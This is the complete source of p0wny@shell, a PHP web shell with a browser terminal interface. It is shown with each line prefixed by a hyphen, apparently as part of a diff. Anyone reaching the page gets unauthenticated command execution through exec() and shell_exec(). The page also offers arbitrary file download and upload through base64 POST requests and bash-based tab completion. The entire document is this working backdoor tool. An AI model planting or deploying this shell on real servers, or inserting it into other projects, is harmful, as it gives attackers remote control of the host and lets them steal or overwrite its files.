- <?php
-
- function featureShell($cmd, $cwd) {
- $stdout = array();
-
- if (preg_match("/^\s*cd\s*$/", $cmd)) {
- // pass
- } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- chdir($match[1]);
- } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- return featureDownload($match[1]);
- } else {
- chdir($cwd);
- exec($cmd, $stdout);
- }
-
- return array(
- "stdout" => $stdout,
- "cwd" => getcwd()
- );
- }
-
- function featurePwd() {
- return array("cwd" => getcwd());
- }
-
- function featureHint($fileName, $cwd, $type) {
- chdir($cwd);
- if ($type == 'cmd') {
- $cmd = "compgen -c $fileName";
- } else {
- $cmd = "compgen -f $fileName";
- }
- $cmd = "/bin/bash -c \"$cmd\"";
- $files = explode("\n", shell_exec($cmd));
- return array(
- 'files' => $files,
- );
- }
-
- function featureDownload($filePath) {
- $file = @file_get_contents($filePath);
- if ($file === FALSE) {
- return array(
- 'stdout' => array('File not found / no read permission.'),
- 'cwd' => getcwd()
- );
- } else {
- return array(
- 'name' => basename($filePath),
- 'file' => base64_encode($file)
- );
- }
- }
-
- function featureUpload($path, $file, $cwd) {
- chdir($cwd);
- $f = @fopen($path, 'wb');
- if ($f === FALSE) {
- return array(
- 'stdout' => array('Invalid path / no write permission.'),
- 'cwd' => getcwd()
- );
- } else {
- fwrite($f, base64_decode($file));
- fclose($f);
- return array(
- 'stdout' => array('Done.'),
- 'cwd' => getcwd()
- );
- }
- }
-
- if (isset($_GET["feature"])) {
-
- $response = NULL;
-
- switch ($_GET["feature"]) {
- case "shell":
- $cmd = $_POST['cmd'];
- if (!preg_match('/2>/', $cmd)) {
- $cmd .= ' 2>&1';
- }
- $response = featureShell($cmd, $_POST["cwd"]);
- break;
- case "pwd":
- $response = featurePwd();
- break;
- case "hint":
- $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
- break;
- case 'upload':
- $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
- }
-
- header("Content-Type: application/json");
- echo json_encode($response);
- die();
- }
-
- ?><!DOCTYPE html>
-
- <html>
-
- <head>
- <meta charset="UTF-8" />
- <title>p0wny@shell:~#</title>
- <meta name="viewport" content="width=device-width, initial-scale=1.0" />
- <style>
- html, body {
- margin: 0;
- padding: 0;
- background: #333;
- color: #eee;
- font-family: monospace;
- }
-
- *::-webkit-scrollbar-track {
- border-radius: 8px;
- background-color: #353535;
- }
-
- *::-webkit-scrollbar {
- width: 8px;
- height: 8px;
- }
-
- *::-webkit-scrollbar-thumb {
- border-radius: 8px;
- -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
- background-color: #bcbcbc;
- }
-
- #shell {
- background: #222;
- max-width: 800px;
- margin: 50px auto 0 auto;
- box-shadow: 0 0 5px rgba(0, 0, 0, .3);
- font-size: 10pt;
- display: flex;
- flex-direction: column;
- align-items: stretch;
- }
-
- #shell-content {
- height: 500px;
- overflow: auto;
- padding: 5px;
- white-space: pre-wrap;
- flex-grow: 1;
- }
-
- #shell-logo {
- font-weight: bold;
- color: #FF4180;
- text-align: center;
- }
-
- @media (max-width: 991px) {
- #shell-logo {
- font-size: 6px;
- margin: -25px 0;
- }
-
- html, body, #shell {
- height: 100%;
- width: 100%;
- max-width: none;
- }
-
- #shell {
- margin-top: 0;
- }
- }
-
- @media (max-width: 767px) {
- #shell-input {
- flex-direction: column;
- }
- }
-
- @media (max-width: 320px) {
- #shell-logo {
- font-size: 5px;
- }
- }
-
- .shell-prompt {
- font-weight: bold;
- color: #75DF0B;
- }
-
- .shell-prompt > span {
- color: #1BC9E7;
- }
-
- #shell-input {
- display: flex;
- box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
- border-top: rgba(255, 255, 255, .05) solid 1px;
- }
-
- #shell-input > label {
- flex-grow: 0;
- display: block;
- padding: 0 5px;
- height: 30px;
- line-height: 30px;
- }
-
- #shell-input #shell-cmd {
- height: 30px;
- line-height: 30px;
- border: none;
- background: transparent;
- color: #eee;
- font-family: monospace;
- font-size: 10pt;
- width: 100%;
- align-self: center;
- }
-
- #shell-input div {
- flex-grow: 1;
- align-items: stretch;
- }
-
- #shell-input input {
- outline: none;
- }
- </style>
-
- <script>
- var CWD = null;
- var commandHistory = [];
- var historyPosition = 0;
- var eShellCmdInput = null;
- var eShellContent = null;
-
- function _insertCommand(command) {
- eShellContent.innerHTML += "\n\n";
- eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
- eShellContent.innerHTML += escapeHtml(command);
- eShellContent.innerHTML += "\n";
- eShellContent.scrollTop = eShellContent.scrollHeight;
- }
-
- function _insertStdout(stdout) {
- eShellContent.innerHTML += escapeHtml(stdout);
- eShellContent.scrollTop = eShellContent.scrollHeight;
- }
-
- function _defer(callback) {
- setTimeout(callback, 0);
- }
-
- function featureShell(command) {
-
- _insertCommand(command);
- if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
- featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
- } else if (/^\s*clear\s*$/.test(command)) {
- // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
- eShellContent.innerHTML = '';
- } else {
- makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
- if (response.hasOwnProperty('file')) {
- featureDownload(response.name, response.file)
- } else {
- _insertStdout(response.stdout.join("\n"));
- updateCwd(response.cwd);
- }
- });
- }
- }
-
- function featureHint() {
- if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
-
- function _requestCallback(data) {
- if (data.files.length <= 1) return; // no completion
-
- if (data.files.length === 2) {
- if (type === 'cmd') {
- eShellCmdInput.value = data.files[0];
- } else {
- var currentValue = eShellCmdInput.value;
- eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
- }
- } else {
- _insertCommand(eShellCmdInput.value);
- _insertStdout(data.files.join("\n"));
- }
- }
-
- var currentCmd = eShellCmdInput.value.split(" ");
- var type = (currentCmd.length === 1) ? "cmd" : "file";
- var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
-
- makeRequest(
- "?feature=hint",
- {
- filename: fileName,
- cwd: CWD,
- type: type
- },
- _requestCallback
- );
-
- }
-
- function featureDownload(name, file) {
- var element = document.createElement('a');
- element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
- element.setAttribute('download', name);
- element.style.display = 'none';
- document.body.appendChild(element);
- element.click();
- document.body.removeChild(element);
- _insertStdout('Done.');
- }
-
- function featureUpload(path) {
- var element = document.createElement('input');
- element.setAttribute('type', 'file');
- element.style.display = 'none';
- document.body.appendChild(element);
- element.addEventListener('change', function () {
- var promise = getBase64(element.files[0]);
- promise.then(function (file) {
- makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
- _insertStdout(response.stdout.join("\n"));
- updateCwd(response.cwd);
- });
- }, function () {
- _insertStdout('An unknown client-side error occurred.');
- });
- });
- element.click();
- document.body.removeChild(element);
- }
-
- function getBase64(file, onLoadCallback) {
- return new Promise(function(resolve, reject) {
- var reader = new FileReader();
- reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
- reader.onerror = reject;
- reader.readAsDataURL(file);
- });
- }
-
- function genPrompt(cwd) {
- cwd = cwd || "~";
- var shortCwd = cwd;
- if (cwd.split("/").length > 3) {
- var splittedCwd = cwd.split("/");
- shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
- }
- return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
- }
-
- function updateCwd(cwd) {
- if (cwd) {
- CWD = cwd;
- _updatePrompt();
- return;
- }
- makeRequest("?feature=pwd", {}, function(response) {
- CWD = response.cwd;
- _updatePrompt();
- });
-
- }
-
- function escapeHtml(string) {
- return string
- .replace(/&/g, "&")
- .replace(/</g, "<")
- .replace(/>/g, ">");
- }
-
- function _updatePrompt() {
- var eShellPrompt = document.getElementById("shell-prompt");
- eShellPrompt.innerHTML = genPrompt(CWD);
- }
-
- function _onShellCmdKeyDown(event) {
- switch (event.key) {
- case "Enter":
- featureShell(eShellCmdInput.value);
- insertToHistory(eShellCmdInput.value);
- eShellCmdInput.value = "";
- break;
- case "ArrowUp":
- if (historyPosition > 0) {
- historyPosition--;
- eShellCmdInput.blur();
- eShellCmdInput.value = commandHistory[historyPosition];
- _defer(function() {
- eShellCmdInput.focus();
- });
- }
- break;
- case "ArrowDown":
- if (historyPosition >= commandHistory.length) {
- break;
- }
- historyPosition++;
- if (historyPosition === commandHistory.length) {
- eShellCmdInput.value = "";
- } else {
- eShellCmdInput.blur();
- eShellCmdInput.focus();
- eShellCmdInput.value = commandHistory[historyPosition];
- }
- break;
- case 'Tab':
- event.preventDefault();
- featureHint();
- break;
- }
- }
-
- function insertToHistory(cmd) {
- commandHistory.push(cmd);
- historyPosition = commandHistory.length;
- }
-
- function makeRequest(url, params, callback) {
- function getQueryString() {
- var a = [];
- for (var key in params) {
- if (params.hasOwnProperty(key)) {
- a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
- }
- }
- return a.join("&");
- }
- var xhr = new XMLHttpRequest();
- xhr.open("POST", url, true);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = function() {
- if (xhr.readyState === 4 && xhr.status === 200) {
- try {
- var responseJson = JSON.parse(xhr.responseText);
- callback(responseJson);
- } catch (error) {
- alert("Error while parsing response: " + error);
- }
- }
- };
- xhr.send(getQueryString());
- }
-
- document.onclick = function(event) {
- event = event || window.event;
- var selection = window.getSelection();
- var target = event.target || event.srcElement;
-
- if (target.tagName === "SELECT") {
- return;
- }
-
- if (!selection.toString()) {
- eShellCmdInput.focus();
- }
- };
-
- window.onload = function() {
- eShellCmdInput = document.getElementById("shell-cmd");
- eShellContent = document.getElementById("shell-content");
- updateCwd();
- eShellCmdInput.focus();
- };
- </script>
- </head>
-
- <body>
- <div id="shell">
- <pre id="shell-content">
- <div id="shell-logo">
- ___ ____ _ _ _ _ _ <span></span>
- _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
- | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
- | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
- | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
- |_| |___/ \____/ <span></span>
- </div>
- </pre>
- <div id="shell-input">
- <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
- <div>
- <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
- </div>
- </div>
- </div>
- </body>
-
- </html>